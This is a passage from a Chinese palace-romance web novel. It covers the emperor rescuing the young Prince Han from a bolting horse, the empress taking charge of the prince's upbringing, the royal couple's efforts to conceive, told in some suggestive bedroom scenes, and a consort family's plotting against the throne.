一半是因为她肯在自己面前撒娇落泪,不端着皇后的虚架子,能说出不愿意嫁给自己这样的真心话。这是她更信任自己的证明。 另一半又为话语的内容而难过。 给不了她孩子,但自己这么大这么英武这么贴心的丈夫难道就不算好处了吗? 反正皇家不能和离,她总不能睡一觉就闹着要回娘家。 寝居没过多久熄烛了,袁望轻手轻脚上了床,她背对着自己,本以为这一夜是两人离心的开端,哪知没一会儿她翻个身滚到自己怀里。 “我方才说错话了。”软乎乎的嗓音沁着伤感和愧疚,说你别放在心上。 袁望蜷起臂膀将她拥得紧紧的,“没有。” “是我的不对。” “你放心,打明儿起我就让太医开方子,好好养身底。” 怀里的姑娘无声点点头,抚上他的后背,缓缓地摩挲着,“我也会好好养身子的,绝对不贪吃冰,不任性奔马,不做不规矩的事情。” 袁望也作保:“我也不会做出格的事情。不暴饮酒水,不贪食荤腥,不乱吃进献的丹丸” 崔雪朝梗起脖子:“你在吃丹丸?!” 袁望迟疑了下:“是国道进献的强健方丸” “什么强健方丸,都是假的。” 她狠狠地在他腰间拧了一下:“难不成你是虚的,要靠那些脏东西才能硬气?” 那一拧根本不疼,力道跟小羽毛挠在心头,原本平静的家伙什一下精神起来,贴在怀里的崔雪朝若有所感,眼睛发亮:“你瞧!” 帐子里隐约有外间烛台上的朦黄,她灿灿的眼眸中全是赞许和欣赏,袁望呼吸渐渐加重,挺着腰往她手心送,“不是丹丸的功劳,是你的功劳!” 崔雪朝一味地为自己发现问题所在而振奋,半坐起身:“病症原在这里!这次是你我没有经验,往后吸取教训,你绝对不能再胡乱吃什么丸药。” “不吃,绝对不乱吃。” 他神魂颠倒地胡乱敷衍,“我精神着呢,必然能让你儿女双全!” “儿女双全?” 想想那场景,先有哥哥,哥哥稳重懂事,妹妹娇俏可爱,哥哥护佑妹妹,长大了若是妹妹受了欺负,哥哥听说嗷的一声就冲出去替妹妹出气,真是温馨又可爱。 再回神,后背贴上来一座火山,火山口分泌潮珠,她推了他几下,没奈何,免不得翻云覆雨手调教他的兴致勃发。 一起一伏,意乱神迷间不忘叮嘱他:“别忘了你答应我的!” “记得,心肝!宝贝!不会忘了,死都不会忘!” 抱着由他啃了片刻,默念自己是颗地里小白菜,拱一拱,鼓励下他倒丧的自信心。 没吃到实在肉、体验却不输真刀真枪来一场的乾元帝睁眼起身后,梳拢整齐,着一身长袍去寻武官练拳。 路过皇子教养所,想了想踱步进去。 五岁的汉王单手握着一把小弓,绷着脸在练习拉弓的力道。伴读的是柱国公的孙子杨戎,个头比汉王高,拿的弓自然也就大些。 “练多长时间了?” “回父皇,半个时辰了。”汉王垂着头不敢看威严的父亲。 “半个时辰不算短,累不累?” 乾元帝难得有耐心问儿子的感受。 汉王摇头:“不累,儿臣还能再练。” 乾元帝面露满意,瞥眼儿子衣衫背后的汗,跟贴身伺候的宫人内监吩咐:“小心汉王着凉。” 临去捏了捏儿子的肩头:“太瘦了,要多吃饭。” 汉王小大人般拱手应是。 等乾元帝身影消失在门边,汉王长长出口气,清亮的大眼睛因为父亲的关爱湿漉漉的,身侧杨戎见此,不客气道:“殿下不会以为陛下是特意来关心你吧?” 汉王转头看他。 杨戎:“皇后娘娘有意纵容宫人养废殿下,若非七姑母跟皇后据理力争,惊动陛下,只怕陛下不会隔天就来教养所。” 汉王抿直唇角,“我是父亲的孩子,我不会被养废的。” 杨戎:“大后天考校,臣期待汉王殿下的表现。” 汉王袖子里的拳头狠狠攥紧,到下晌放休,本不该在他这个年纪学习的骑射课,汉王路过马苑时看着高大雄健的马儿一动不动。 贴身宫人道:“殿下是要骑马吗?” 汉王:“武师傅说不到七岁,不准我骑马。” 宫人说高头大马自然不行,“矮脚的小马骑着无碍,陛下便是五岁学会骑马,七岁就能骑射捕猎。若殿下在这个年纪学会骑马,必然会引来陛下的夸赞的!” 汉王是第一次听说父亲五岁学会骑马的事迹,心里很憧憬,本就意动加之宫人怂恿,对于学骑马跃跃欲试。 回禀到贤贵妃前,贤贵妃翻着女训,头都没抬:“汉王有心上进是好事,吩咐宫人照顾好。摔着绊着没什么,切莫有伤筋动骨的风险。” 马苑得了贵妃的吩咐,这才挑合适的小马给汉王殿下。 马奴牵着缰绳带汉王殿下在宽大的场内颠颠走了好几圈,火红的夕阳晒在汉王激动又紧张的面上,直到夜上,那份在父亲面前展露骑术的心思越发坚定。 很快到了大考校的日子。 袁氏族亲里的小儿郎们聚集在后苑。 自陛下打下江山,未免族中子弟不知前辈们悍马江山的辛劳,特设私学给宗亲子弟上课。 半年一大考,文武俱考校,成绩优异之人自然得些赏赐。赏赐微不足道,关键是陛下的瞩目,儿子争脸就能在陛下面前刷刷爹娘的存在,也好叫陛下不忘提拔一官半职。 起初只有袁氏子弟,后来陛下开恩,望京门阀子弟亦可参与考试,目的是温存袁氏与诸家的生分,渐渐的,引来大人们的围观,其间还促成过好几对姻亲,如此规模延展开,竟有大场面的壮观。 汉王今日特意被换了一身绿骑装,与陛下七成相似的面容严肃板起,不足成年男子腰高的小人儿往场中一站,学着高台上他父亲的站姿负手在后。 崔雪朝瞧眼台上正训话的陛下,再对比下被众家子弟簇拥在中间的汉王,不得不感慨血脉是如此的神奇。 莫看只有五岁,已然能从稚嫩的眉眼瞧出他往后如他父亲那般挥斥方遒的风貌。 正感慨着,陛下发言终于结束,场地中的子弟们拱手恭送陛下。就见汉王苦着一张小脸,恭送完了,小拳头悄悄捶着自己的大腿。 崔雪朝眼底泛起笑意,都怪他父亲一到这种场面就喜欢长篇大论,小小年纪的汉王岔开腿站久了,可不得酸麻嘛。 汉王身后的伴读小公子这时动了动,崔雪朝原以为他是要扶人,哪知那高个头的恨其不争地瞪眼弯下腰的汉王,而后握上弓把竟是站在一旁袖手旁观! 见皇后不悦,贤贵妃开口解释:“如此重要的场合,汉王殿下更该坚持,此等小女儿柔软之态,若陛下瞧见,只怕要训斥他了。” 崔雪朝只好不语。 纵目去望,见汉王已经站起,小小的人儿绷着脸努力不一瘸一拐地走向马棚,“汉王已经学骑马了吗?” 贤贵妃含蓄地说前几日骑着玩,也不知学没学会。 “胡闹!” 崔雪朝动了气性:“五岁的孩子身子骨还软着,贤贵妃也太” 话刚说一半,阿屏突然爆出一声低呼。 顺着阿屏手指方向去看,足有成年男子高的一匹黑马背上正坐着小小的汉王,看他手势方向分明是要持僵。 “伺候汉王的人呢?速去把他拦下!” 吩咐虽快,却没有汉王近在马棚便利,只见汉王曲着小小的身子,竟是自己把马缰解开了,不及马奴牵上,小短腿轻踢马腹,左右颠动起伏地朝着长原跑起来了。 “来人!快来人!” “汉王殿下!” 一众驱马的儿郎中突然出现一个小豆丁,很快吸引了众人注视。 惊慌失措的喊声中,只见汉王座下马匹骤然爆出一声嘶鸣,前蹄高高扬起,马背上的汉王吓得小脸刷白,生死之际本能地趴伏抱紧马脖子,这才免于被甩到地上。 然而情势在黑马四蹄着地时更加危机,黑马马鞍后移,带着小小的汉王发癫一般,冲开围堵上来的众人,踏碎场外栅栏,朝着远处的山壁狂奔而去。 见此,贤贵妃捂着胸口腿软得站不直了。 汉王今日要命绝此地。在场人不约而同在心中道。 就在这时,一道白影如闪电般越众而出,崔雪朝扶上阑干,刹那间有种全部呼吸被攫夺的窒感,目光死死地盯着白影。 见他右手持缰,与座下白马配合娴熟,一点点逼近发疯的黑马,同时朝着黑马上的汉王在喊什么,汉王渐渐从颠簸中拱起后背。 距离山壁只有百尺距离时,白影上的人探出左臂,以骁勇无比的气势稳狠准地将汉王提离马背! 下一息黑马直直朝着山壁撞去,荡起一片烟尘。 白影踏烟尘而出,崔雪朝险些站不住,扶上阿屏的臂膀坐回圈椅时,惊觉背后冷汗已然浸湿衣衫。 “陛下威武!” “陛下万岁!” “天佑大乾!” 山呼而来,崔雪朝望着高坐马上、被簇拥在万千人中得无尚崇敬信仰的父子,只劫后余生平静地吩咐万姑姑:“去传太医。” 第44章 小厨房的饭菜也格外雄壮…… 做父亲的将小小的儿子搂在身前, 坐在摇曳的马背上沉稳地自众将士之中折返回场下,一路而过真是好不威风!汉王是第一次被父亲抱在怀中,高高地俯视众将士, 感受到父亲有力的臂膀, 心都快跳出嗓子眼了!很想扯着嗓子喊杨戎,看!父亲对他并不是冷漠无情的! 童公公已然示意人去山壁之下严查黑马蹊跷, 乾元帝将激动又紧张害怕的汉王轻轻松松提溜下马背,递给一旁的禁军统领。 眼风一扫,瞥见路侧贴身服侍汉王的宫人内监跪着,“打发去内廷司严查。” 贤贵妃闻言脸色越发苍白, 乾元帝经过她身边时更是难以控制地抖筛起来。 幸而人前, 陛下留给她体面, 不曾发落。 九州宴后殿 乾元帝挥挥手表示自己无碍,“去瞧瞧汉王。” 汉王仰躺在宽大的床上, 身上脆嫩的绿衫此时灰扑扑地搁在床畔,白色内单解开, 瘪瘪的小肚子上赫然一道深色淤青。 那是方才被他父亲单手勒起留下的痕迹, 比起被发疯的马带着撞上山壁,眼下这道勒痕便显得无足轻重。 太医一番细致查问, 确认汉王殿下只是受惊, 筋骨无损, 淤青擦拭药膏几日就能散去。 闲杂人等一去,汉王小短手熟练地穿好衣袍,下地规规矩矩地跪下请罪,说自己莽撞,闯了祸事,还险些惹得父皇遭遇危险, 请父皇责罚。 乾元帝的确有些生气,气汉王身边人伺候的不上心,听了童冉回禀上来这些天汉王在马场学骑马是贤贵妃准允的,便更生气贤贵妃的擅作主张! 当然,也生气汉王小小年纪就轻狂得没边,虚荣心作祟,想在众人之前露脸表现又对自身深浅没点数儿的蠢气。 乾元帝冷哼,“莫要以为你生的和朕有点像,就以为能和朕幼时一样。” 看眼汉王细细的跟柳树枝一样的胳膊,心说也不知这孩子像了谁,反正跟他不像! “你是不是以为自己五岁,年纪很小,朕就会轻易放过你?” 汉王红着眼眶,说儿臣不敢。 “哭?你还有脸哭?难不成今日骑马是朕挑唆的?你自己个儿趁着马奴不注意解开缰绳,学点浮皮潦草的本事” 乾元帝的疾言厉色在门口出现皇后身影的一刹那,猛地刹住,“知错了没?” 汉王抿着嘴把头埋地上:“儿臣知错了。” 稚子羸弱的身躯如何能承受住天子的怒火? 崔雪朝瞧见汉王颤抖的身躯,深吸口气,能发火想来并无大碍,给万姑姑一个眼色,站在门口冷淡地瞧着叉腰训斥儿子的那人。 乾元帝莫名有些心虚,回想自己方才的话,只是语气有些凶,言辞并不过分,于是理直气壮地回看皇后:“朕没对他做什么。” “陛下天威浩荡,臣妾不敢质疑。” 乾元帝整整衣袖,负着手仰望不远处流云天际,旁听皇后进殿吩咐宫人端水伺候汉王擦脸更衣。 温热的帕子贴在眼上,索性没人搭理他,汉王锯嘴忍下心里的难过,反正也不是头回。偏偏皇后娘娘温柔的问他疼不疼,抖索开衣衫给他往胳膊上套,像被暖阳晒在身上的感觉浮现,于是抽噎地一直流泪。 “母母后我儿臣知错了儿臣不想哭,是眼泪自己非要流出眼睛的” 崔雪朝说母后知道,“殿里都是咱们自家人,哭一哭没什么。哭了,心里的害怕就散了,你就不会发热不会生病。” 这话触了那边旁观之人的不舒服,拧着眉峰回头瞪儿子,一看,汉王眼睛捂着帕子接受不到父亲的不满,于是开嗓:“他是天家的子嗣,做出这副泪眼摸样,叫外人知晓,还以为是朕把他当姑娘家养” “陛下不叫外人知晓不就行了。难不成陛下跟大臣们聊完政事没话说,就要问他们如何管教五岁大的哭鼻子小儿?” 乾元帝:“今日情形何其凶险,若非朕出手,他小命难保。” 皇后:“陛下是汉王的父亲,救自己儿子是分内之事。” 乾元帝:“他是朕的儿子,更是大乾的皇子。五岁大便一心追名逐利” 皇后说陛下慎言:“做儿子的对父亲有孺慕之情,渴望如他父亲一般弓马娴熟,怎就成了追逐名利?” 乾元帝:“他孺慕朕?他孺慕朕做什么?” 崔雪朝一愣,见他面容的怔悚真切,恍然大悟。 下梁比照上梁,他的父亲没给他做出好榜样,他对父亲的印象厌恶大过敬仰,于是汉王对他的瞻仰和天性使然的模仿与靠近,落在他眼中,第一反应是疏远和不解。 乾元帝思索期间,给汉王穿好衣衫,喂他喝了好几盏安神的药茶。 有此前景,之后的考校参加起来也没意义。把人安顿在床榻上,崔雪朝摇着团扇,清凉的风拂去汉王心里的恐惧,哭了好久,肿起的杏眼疲倦了,一点点耷拉着慢慢睡着了。 守着孩子睡着,再去前殿,长案布满了膳食。 袁望似有所得,招招手让她坐过来,“原来有了孩子就会对父亲很崇拜,真稀奇。” 又问她:“你对崔卿也很崇拜吗?” 崔雪朝冷淡地说不,“小时候不懂事,很容易被大人虚伪的表面给哄了。长大后,见多了大人的丑陋,再瞧他,很不是东西。” 这话细听起来,有指桑骂槐的隐晦。 袁望只当没听出来,“那将来我们的孩子对我会崇拜吗?” 所以说世上就没有一碗水端平的说法。 诸如父亲对崔荷崔鼎,母亲故去,赵柔娘解语花般出现在他的生命里,渐渐这二人自带的血债就消平了。 诸如眼下,他对杨氏女的少情,连带着对汉王并没有太多亲厚。今日拌嘴,他的顿悟很透彻,但好处却没有落到汉王身上,而是便宜了自己未来的孩子。 但她是个有良心的人,见他处置了今日汉王身边的宫人内监就算了事,很是不忿。 “那匹黑马为何突然失控,查出来了吗?” “马鞍后移惊了马。” 至于惊马之前,袁望神色阴冷:“旁的还待继续查。” 崔雪朝往殿外阶下瞧一眼,“贤贵妃怎么还跪着?” 他很寡情地扯下唇:“她纵容汉王学马,这才跪了一个时辰。” “按理汉王并未正式交由千熙宫教养,贤贵妃只是担着姨母的名头,平日里多过问了些。我是中宫,对皇子身边发生的事情一无所知,有失察之责。” 袁望见她欲去殿外去跪,迟钝地领会到她的不开心,讷了讷:“是不是我哪里惹了你不开心?” 算他有些眼力见。 崔雪朝坐回原处,先吩咐宫人把贤贵妃搀扶到殿内,等人坐好,娓娓道来:“汉王今日闯祸,一是他自己年幼不懂事,被身边人鼓动,二在伺候的疏漏,其三,也是最紧要的,是我们这几个大人,尤其是陛下没有承担起该有的责任。” 贤贵妃心惊胆战地垂头不语。 崔雪朝:“陛下把教养孩子交付给文武先生,旁的一概让宫人内监照应,只做高高在上的陛下,少有父亲的体恤。” “端蕙贵妃离世得早,贤贵妃不忍汉王辜负亲姐生养大恩,难道就忘了汉王乃皇家子嗣,身份贵不可言的道理?” “汉王身上是有你杨家的血,究根到底,他是袁氏儿郎,是大乾的皇子!” “也怪本宫,想着成全你与汉王的情分,不愿招惹是非插手,致使我等共犯今日大祸。” 一番连消带打,乾元帝与贤贵妃挨训竟觉得皇后说得很对,毕竟皇后没推脱她自己的过失,三分错责,脸面上平等地没有光。 殿内悄然,乾元帝坐着不动,贤贵妃作保往后对汉王必会持万分精神来教养 皇后说大可不必:“那日贤贵妃说本宫没有生养过,不懂养孩子轻重的分寸,本宫觉得很有道理。” 贤贵妃就觉得那头陛下调转过来的眸光像是带了刺,扎得她头发发麻,“回娘娘,嫔妾那日一时失言” “不算失言。” 崔雪朝道:“本宫又想,贤贵妃和本宫都没生养过,想来对待孩子的心思是一样。既如此,汉王不必交由你抚养,后宫庶务再忙,本宫养一个汉王也累不到哪儿去。” 这话似乎戳到贤贵妃的痛处,对汉王撂手一事竟成了难分难舍的情感?总之脸色愈发难看,鬓发的汗把脸上的白脂粉冲刷出一道不甚美观的小痕。 乾元帝也很憋屈。 从前不见她提养汉王,打自己跟她说过旧伤,看向自己的眼神不似情海柔波反而藏蓄怀疑,小厨房的饭菜也格外雄壮,很有一股脑把自己的肾养肥养成大鼓的势头。 现下倒好,连带着汉王比他吃香起来。 大人们在前殿说着话,一时谁也没注意到中隔屏风处有个小小的身影一闪而过。 话撂下,旁的不必多说,崔雪朝提着裙裾回到后殿。 床榻上的汉王还在沉睡,她接过宫人的小扇慢悠悠打起风。 贤贵妃脸面不脸面,真如陛下说的,一个投靠到自家三分田地的穷亲戚,吃肉还是吃粳米,得看她的心意。 自己救过汉王的命,按照佛家的论调,这叫因果。 外头如何置喙她今日的决定,都让那个叫嚣着顶天立地的男人去扛吧! 第45章 龙威大受打击 五岁的汉王醒来第一眼就瞧见皇后娘娘温柔的笑眼。 皇后娘娘问他饿不饿。 汉王揉着眼睛点头说饿了。 用膳的时候他才发现自己已经不在九州宴的后殿, 小眼睛在屋里打量几眼,认出是皇后娘娘的太云阁。 睡梦前的场景随着一口一口饭菜下肚逐渐清晰,汉王觑眼瞧瞧身边陌生的宫人, 竖起耳朵听皇后娘娘垂问明园大内监宫务。 这一顿午膳汉王只用了一盏茶就停箸了。 崔雪朝:“可吃饱了?” 汉王抿着嘴起身拱手纳礼:“回母后, 儿臣用足了。” 他的规矩挑不出错,崔雪朝反倒觉得五岁的孩子本该童真些, “午膳少吃些也好,下晌不必去读书,就在太云阁呆着同宫人们玩吧。” 汉王:“母后,儿臣的伴读呢?” 崔雪朝:“今日你惊马, 险些出大事, 杨戎是你伴读, 却不曾好好劝诫。你父皇念在他年岁小不能发落,他自己个儿心里愧疚, 这会儿在螽门下罚跪呢。” 想起杨戎小小年纪就对皇子横鼻子竖眼睛,“他平日伴读, 与你相处如何?” 自丧母后, 汉王起先住在河东袁家族中,走路都晃悠的孩子不通人事, 加之父亲不上心, 一应生活全部交由下人打点。 等从河东搬来望京, 宫人们提心吊胆中,汉王得了封号,迁居进了皇子所,四岁的汉王算不得早慧却几经波折,养成易敏感不安的性情。 从前伺候母亲的下人成了宫人,三餐四季伺候汉王, 时不时提点汉王莫忘了生母的养育之恩,隔三差五又感慨汉王可怜,说陛下只汉王一个子嗣,却不能封为太子,汉王您一定要好好读书,早日让陛下青眼。 哦,临尾还不忘加一句,汉王殿下,有咱们陇右杨家在,永远会站在您身后。 就这般,开蒙年岁到了,父皇让外祖家的表哥来做他的陪读,汉王有了同龄人作伴。 但这个同龄人和他不一样,杨戎喜欢刀枪剑戟,喜欢练拳脚,而汉王喜欢写大字描字帖,喜欢听蝉鸣鸟叫,喜欢看窗外流云,喜欢湖亭溪下红彤彤的鱼。 夜里睡不着,汉王光着脚走到雕花窗棂前,浓黑的深夜里宫人内监都睡了,没有碎念的声音,能听到自己的心跳,天上只有一颗很亮的星辰,汉王觉得那颗独亮的星辰和自己是一样的。 杨戎攥着沙包大的拳头和他扳手腕时,真的很怵人。 汉王输了,私学中袁家子弟背地里笑话他。 汉王郁闷。 如果别人看扁自己,汉王选择扁扁的走远,但杨戎是他的伴读,如影随形,像一场噩梦。 皇后问他和杨戎相处得如何,汉王想说自己不喜欢杨戎,甚至有些害怕杨戎,但他抿了抿唇,想起杨戎说杨家是他外家,是这世上唯一出于血脉肯回护他的存在。 “杨戎很好。”汉王口是心非道。 崔雪朝说好,“汉王认得大理寺主官和上护国将军吗?” 汉王懵懂地摇摇头。 “大理寺掌大乾司法,主官董大人为人清正廉洁,其子六岁。上护国周将军是陛下的左膀右臂,为大乾贡献颇丰,为人忠勇,过几日就要远赴西南任总兵,其孙今年七岁。他们二人往后和杨戎一起做你的伴读。” 伴读从一个变成三个了? 一个都扛不住,三个加起来,岂不是连喘气都得偷偷摸摸? 汉王耷拉着音儿说多谢母后。 他的年岁太小,自然看不懂皇后娘娘此举深意。 万姑姑等汉王出到殿外,才开口:“杨家对汉王殿下看管严苛,听闻娘娘择了董家周家两位伴读,很是不满。他们也不想想,这两家的子嗣长成,极大可能成为汉王殿下的帮扶,又对娘娘有何好处?” 崔雪朝反倒松泛笑笑:“几个不到十岁的孩子,成天凑在一块读书,何必把大人那点心思强加。我是看杨戎那孩子太虎势,汉王压制不过,应付起来畏惧有加,长此下去,难免性情卑弱。” 后晌太阳稍退,太云阁有一方池塘,崔雪朝吩咐人预备了小网和桶,领着汉王去掏着玩。 小孩子心性的汉王看着网兜里活蹦乱跳的小鱼,很快忘了自己多了三个伴读的忧愁,尽兴地玩过。 临到黄昏,正被皇后娘娘牵着手走在游廊上赏看夏荷,远远瞧见廊桥那头乌泱泱过来一大圈人,是陛下处理完前朝的政事来找皇后一块用晚膳了。 “给父皇请安。” 乾元帝说起吧,见儿子扎着脑袋紧贴在皇后身畔,把自己这个父皇当成山匪一般警惕,很是不屑:“你怎么还在这儿?今日功课做完了吗?” “回陛下,汉王今日受惊,臣妾做主让他下晌歇着了。” 乾元帝不好拂皇后的面子,只好按捺下不满,晚膳见皇后只吩咐宫人给汉王布菜,平常给他添汤水的殷勤也让碍眼的汉王承受了。 算了,权当做是女儿家的新鲜劲儿吧。 哪料这份稀罕过了三五日还不见褪去的迹象。 这一日午后,处理完政事正打算带着皇后去钓鱼的乾元帝,赶到太云阁却被告知,皇后方才领着汉王殿下和几位伴读公子去入林策马。 于是提袍去追。 到了地方一看,空荡荡的,哪有人。 一问,汉王与几位伴读公子共寻到一窝活泛的灰绒兔子,不忍杀生,决定养在兽园,一并去寻给兔子安窝的物什了。 乾元帝:“” 预感去了兽园,依旧是扑了空,“回太云阁吧。” 本就心情不好,路上又遇上娇柔的安妃,见她没骨头似倚靠在阆苑的秋千架上,见到夹道上的陛下,未语泪先流,很是动人。 乾元帝却觉得晌午吃的那道鹿肉有些腻到嗓子眼了,见不得安妃如此娇柔做作:“怎么了?” 安妃用手帕擦拭过颊容上的泪,说嫔妾让陛下看笑话了,“只是前些时候随嫔妾进宫的的一位姑姑苦夏中暑,吃了药不见效竟是撒手没了,嫔妾方才见到那荷塘里的藕,想起她生前最爱食此物,一时有些感伤。” 乾元帝没搭腔,冷眼看这真凶故作仁善。 安妃哭了几眼见没有催动陛下的铁石心肠,想到哥哥传话让她不必害怕,便也懒得挑弄陛下来跟自己睡觉:“陛下忙于政事,嫔妾这点小女儿心事,陛下只当没听见吧。” 等人真冷若冰霜的走远,安妃一张玉容如布阴霾:“且看你得意几天。” 父亲致仕在家,这般炎热的天气如何能赶赴归乡,偏偏陛下不讲情面,借着科举的事情一连申斥了好几位高家门生官吏,如此这般,为让陛下手下留情,父亲一把年纪只得上路。 “也不知父亲走到哪里了?” 安妃算着行程,“快到南康城了吧。” 南康城知府是父亲门下,外京小朝堂大半与高家有姻亲,父亲既到那处,想来哥哥筹划的事情就快成了。 “汉王这几日如何?” 新来的宫人回禀了这几日汉王的行踪,提到皇后娘娘对汉王起居的照顾时,安妃攥着帕子,无奈地叹口气:“可惜白搭上你母亲一条命。” 贴身宫人只说全是母亲的造化,“母亲若不去,内廷司的衙子们查过来,只会牵连到娘娘。” 安妃:“难为你们母女忠心。” 一句不轻不重的话,一条人命便算过去。 那宫人眼睛都没动一下,只是藏在袖子里的拳头攥紧. 自寻死路的人不必放在眼里,只需给足他们时候自绝便罢。 回到太云阁,这一回终于堵到人了。 撩袍快步进去,一瞧,鎏金兽睨的博山炉腾起缭绕的松云香,廊下假山潺潺水流,廊庑有把扇的宫人,皇后拿着绣绷在做针线活,不远处穿了一身天青色襕衫的汉王挺直腰板,一副沉迷读物,不知天地为何物的神情。 一下晌的空闲时光全浪费在追逐他们的路途上,乾元帝气不打一处来:“玩够了?终于舍得坐下了?怎么,是腿累得走不动道了?” 很明显,他的骤然现身打破了所有的美好,见皇后不悦地望向自己,汉王被吓得瑟缩一下,小小的巴掌脸无辜地扭向门边。 乾元帝无甚愧疚,很想跺跺脚撒气,眼角余光留意到廊下站起三个萝卜头,杨戎、董文礼、周韬拱手给陛下请安。 乾元帝:“起吧。什么时辰了,他们怎么还在这儿?” 崔雪朝起身给他递去擦拭的湿帕:“今日他们和汉王去原上走马,杨戎与周韬齐心协力猎到一只彩雉,小厨房料理后煨过,臣妾留他们一块用膳。” 袁望怏怏地不再说话,擦过脖颈处的汗,撩袍坐到汉王与皇后中间,根本不用问,皇后缝的小衫十分十是绣给汉王的,于是很不是舒坦地看向战战兢兢的儿子。 盯着他看了半晌,突然开嗓问:“你很怕朕?” 话落,腰侧突然挨了皇后一胳膊肘,只好缓缓声:“朕又不是猛兽,你怕朕很没有道理。” 汉王嗯嗯地点着小脑袋。 袁望见屋内自成一派,左右无事,好奇汉王究竟在看什么,伸手把他看了许久的纸卷拿过来,这一看,额角险些绷不住狂跳起来。 “这就是你今日做完的功课?” 汉王站起身,不敢抬眼看父皇,低声说是。 “《九章算术》如此简洁明了易懂,你脑子生在脚后跟了,怎么能把二八与十二,相加算成是四十余一?” 同与汉王一并起身的三个伴读,杨戎露出看笑话的神情,周韬开始盯着自己的功课看有没有明显的错处,董文礼不怕陛下过问,对于自己的功课他有自信全对,只是忍不住担忧汉王挨板子,会牵连到自己。 乾元帝把汉王的算筹功课检查完,只觉眼前一黑,世道太不公平,自己如此英明神武,生下的儿子却是个十个指头掰不明白的糊涂蛋。 晚膳接过皇后递来的鸡翅膀,眸光一转,汉王已经没心没肺地啃起鸡大腿,一时龙威大受打击。 第46章 娘娘保准是有孕了 “思来想去, 江山将来还是得交给咱们的孩子。” 有此望盼,越发卖力。 崔雪朝趴在床架的手被他颠得险些没撑住,很想反手抽他一巴掌, 做这种事情, 提起旁的真的很扫兴。结果力道不甚如意,反倒像是挠在他硕大胸肌上在刻意调情。 他呢, 一点点抚弄起她潮湿的掌,十指交握,密不可分,腹躯肌肉绷得很紧, 砸落在她背后的阴影黑白刺激。 另一只手扣住她的下颌, 新的依托下, 分开没太久的唇舌重新交缠,直到舌根泛起隐痛, 听到几声闷喘音,紧随而来的是细腻皮上根本无法忽视的汹涌波流。 行房前, 万姑姑提醒过皇后娘娘, 为保证怀孕的几率,须得做些难为情却不得不有的举措。 崔雪朝铭记于心, 奈何每回做完, 犹如小死过, 眼前金星炸得空茫,只有喘气的余地,就连事后清理也是拼着羞耻让金尊玉贵的陛下来做。 “帮我把软枕垫在腰下。” 大汗淋漓地交代,袁望意会出此举的深意,一边照着吩咐掐起她的腰,一边很愧疚:“委屈你受累了。” 软枕放好, 眼角余光注意到角落处有个绿封的绘本,以为是她打发辰光的话本子,随手拿过来。 一翻,眼睛骤然亮起,像是发现了新大陆般逼近到她的脸前:“这是你寻来的?” 崔雪朝懒懒递去一眼,混沌的脑子还没反应过来:“哪来的?” “就在你枕头下。” 崔雪朝哦了声,平复着呼吸,依稀记得是谁寻来的,“嫌碍事就扔了吧。” 扔了? 袁望心说这么好的东西,扔了多可惜。 宫闱内的敦伦绘本花样就那几个,说实话,打从知道自己身子疑似有暗疾后,两人再做这事儿时,自己几番表现,不免有点证明什么的存意。 分明是和睦恩爱才有的夫妻交融,从前为她容忍而颤抖的心突然失衡,怀疑是不是她刻意忍让只是为了留下子嗣。 譬如这软枕,垫在她腰下留存什么,如果相信他的本钱,这时候本该偎依在一块。 预感长此以往,床帷之间变成了差事应付,她会渐渐对自己生出疲倦。 但小小的绿绘本突然出现,成了拯救一切的灵光。 原来这事儿可以在山坡上,在庄稼地里! 此绘本应是出自民间,一时不能带着皇后去山坡和庄稼地,但假山孤壁前、荷塘泛舟时、赏景游园中 端肃家风教养长大的袁氏皇帝惊呼开了眼界,孜孜不倦地学了大半夜。 晨起,今日初六,随驾而来的后妃要来请安。 正穿戴着,瞥见镜子里的陛下一个劲儿地冲着自己露出那种似淫//笑又不是的不正派笑容,困惑问:“你怎么了?” 袁望让梳头的宫人让开,握着牛角梳给她顺发:“你特意让人寻来的东西,我昨晚好好看过了。” “放心,我会好好学的。” 崔雪朝问他学了什么? 绿绘本翻到其中某一页,袁望戳着页上坐莲的两个小人,他窃窃私语:“这个咱们试过,但只在浴池里,不妥!待我选个良辰吉日,沁风台有个很秀美的地方,到时我与你相约黄昏后,好好研讨!” 他真的很有自信,“保准一次就中!” 崔雪朝愣看他嚣张的背影消失在珠帘后,总觉得他此举不是满足自己求子嗣的心,反倒有几分奖励他自己的意思。 出了寝居,顺着阆苑水桥过到前头议政处,途中远远瞧见宫妃们等候宣召的身影,吩咐晌午让董贵人来陪膳,到前朝时,新首辅正领着小中堂在等着了。 新首辅是乾元帝刚起复任用的前朝大儒仲毓,五十大几,因其性子刚烈,与前朝末帝为大兴土木劳民伤财一事而争执后,一怒之下触柱。 幸亏仲毓死谏之际身后同僚见势不对,从旁撞了一下。 伤好之后的仲毓对前朝无望,辞官归乡,前些时候高首辅致仕,仲毓又被从老家岭南提溜回京。 仲毓:“给陛下请安。” “起吧。” 仲毓谢过,“陛下,外京的折子送上来,今夏只有几个小县遭受暴洪,幸亏今年春天工部加急修整了堤坝,灾情并不严峻。” 这是好事,天不许人意,百姓就会多磨难。 乾元帝很希望天下初定,少有天灾。 “去岁年末财政大会,工部要支银子修南部的堤坝,当时户部为了一百万银子险些把朕的宫殿琉璃顶给震碎,现下看看,南部少洪涝,这一季的稻子收成少说也比往年多三成!” 户部尚书瞥眼户部侍郎的位置,硬着头皮呈递了折本:“回陛下,今夏虽无洪涝,但南部扛着赈济各地的压力,还有陛下赏恩免税政策的试行,实则交付到户部的账目与往年大差不差。” 乾元帝阅简账时,分神想若让汉王那糊涂脑子来看,只怕根本看不出底下人糊弄没糊弄自己。 半晌后,翻阅过账册的乾元帝没看出哪里有不对劲。 户部烂成破洞,这假账做得倒是很周全。 于是指了其中一项追问其细节。 那一项专由户部侍郎高大公子负责,乾元帝就见这浓眉大眼睛的臣子口才很好,也是,能理账的一把手,自然得有对应的口貌。 一通说完,若非锦职司的番子们查清今夏南部瞒报了三成收成,囤积起来以备高家造反时用,乾元帝已然信服此人解释,甚至还会责怪自己这当家的也太不懂事了。 “有理有据,朕无话可说。” 等臣子告退,独留首辅次辅叙话。 乾元帝开口第一句就把两位上了年纪的肱骨惊得不轻:“高卿致仕,途径外京南康时,对外宣称突发恶疾,眼看就要撒手人寰,想招高卿之子去见最后一面。” 崔次辅瞥眼陛下云淡风轻的面庞,“对外宣称?陛下,此事是否另有隐情?” 仲毓拱手进言:“高家父子自前朝起便能与御监司那帮杂碎分庭抗礼而致今日门第不衰,老臣不信高贼病重!只怕此人所图甚大,妄图以孝为虚名换其子脱身。” 崔次辅大惊失色:“仲大人此言可有根据?” 仲毓斜眼看这个纯如蠢的同僚:“就凭仲某人这一双不昏聩的招子!” 崔次辅:“” 